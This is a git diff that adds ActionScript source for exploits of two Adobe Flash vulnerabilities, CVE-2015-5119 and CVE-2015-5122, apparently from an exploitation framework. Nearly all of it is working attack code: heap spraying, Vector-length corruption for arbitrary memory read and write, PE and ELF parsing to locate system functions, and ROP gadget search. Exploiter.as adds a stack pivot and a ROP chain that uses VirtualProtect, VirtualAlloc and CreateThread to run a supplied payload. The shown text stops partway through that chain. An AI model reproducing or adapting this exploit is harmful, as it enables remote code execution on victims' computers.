b/external/source/exploits/CVE-2015-5119/MyClass2.as new file mode 100755 index 0000000000..c6c82ae2e0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/MyClass2.as @@ -0,0 +1,115 @@ +package +{ + class MyClass2 extends MyClass1 + { + var + // enlarge the MyClass2 size by dummy attributes + a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint, + a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint, + a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint, + a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint, + a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint, + a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint, + a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint, + a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint, + a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint, + a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint, + + a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint, + a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint, + a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint, + a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint, + a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint, + a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint, + a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint, + a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint, + a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint, + a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint, + + a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint, + a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint, + a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint, + a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint, + a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint, + a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint, + a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint, + a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint, + a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint, + a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint, + + a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint, + a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint, + a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint, + a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint, + a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint, + a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint, + a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint, + a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint, + a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint, + a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint, + + a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint, + a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint, + a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint, + a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint, + a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint, + a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint, + a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint, + a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint, + a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint, + a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint, + + a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint, + a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint, + a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint, + a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint, + a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint, + a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint, + a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint, + a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint, + a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint, + a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint, + + a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint, + a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint, + a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint, + a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint, + a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint, + a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint, + a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint, + a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint, + a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint, + a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint, + + a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint, + a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint, + a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint, + a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint, + a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint, + a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint, + a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint, + a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint, + a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint, + a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint, + + a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint, + a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint, + a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint, + a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint, + a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint, + a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint, + a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint, + a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint, + a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint, + a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint + + + // constructor + function MyClass2(id:int) + { + o1 = this; + a0 = id; + for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344; + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/PE.as b/external/source/exploits/CVE-2015-5119/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Elf.as b/external/source/exploits/CVE-2015-5122/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Exploit.as b/external/source/exploits/CVE-2015-5122/Exploit.as new file mode 100755 index 0000000000..f35abd89f2 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Exploit.as @@ -0,0 +1,34 @@ +package +{ + import flash.display.Sprite + import flash.events.Event + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + + public function Exploit():void + { + if (stage) init(); + else addEventListener(Event.ADDED_TO_STAGE, init); + } + + private function init(e:Event = null):void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + removeEventListener(Event.ADDED_TO_STAGE, init); + MyClass.TryExpl(this, platform, payload, 1) + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5122/ExploitByteArray.as b/external/source/exploits/CVE-2015-5122/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/ExploitVector.as b/external/source/exploits/CVE-2015-5122/ExploitVector.as new file mode 100755 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Exploiter.as b/external/source/exploits/CVE-2015-5122/Exploiter.as new file mode 100755 index 0000000000..591cdce944 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Exploiter.as @@ -0,0 +1,367 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var magic:uint + private var magic_arg0:uint + private var magic_arg1:uint + private var magic_object:uint + private var magic_table:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stub_address:uint + private var stub_space_object:uint + private var stub:Vector. = new Vector.(8) + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + static function Magic(...a){} + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + + // mov eax,[esp+0x4] + // xchg eax,esp + // rets + stub[0] = 0x0424448B + stub[1] = 0x0000C394 + + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + spray[i][4] = Magic + spray[i][5] = stub + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + magic = ev.at(pos + 4) - 1 + stub_space_object = ev.at(pos + 5) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + stub_address = ev.read(stub_space_object + 0x18) + magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) + magic_table = ev.read(magic_object) + magic_arg0 = ev.read(magic + 0x1c) + magic_arg1 = ev.read(magic + 0x20) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + do_rop_windows() + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake stack on memory + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + for (var i:uint; i < 0x100; i++) { + eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) + } + + // VirtualProtect the stub with a *reliable* stackpivot + eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stub_address) + eba.write(magic + 0x20, 0x10) + var args:Array = new Array(0x41) + Magic.call.apply(null, args); + + // Call to our stackpivot and init the rop chain + eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stack_address + 0x18000) + Magic.call.apply(null, null); + eba.write(magic_object, magic_table); + 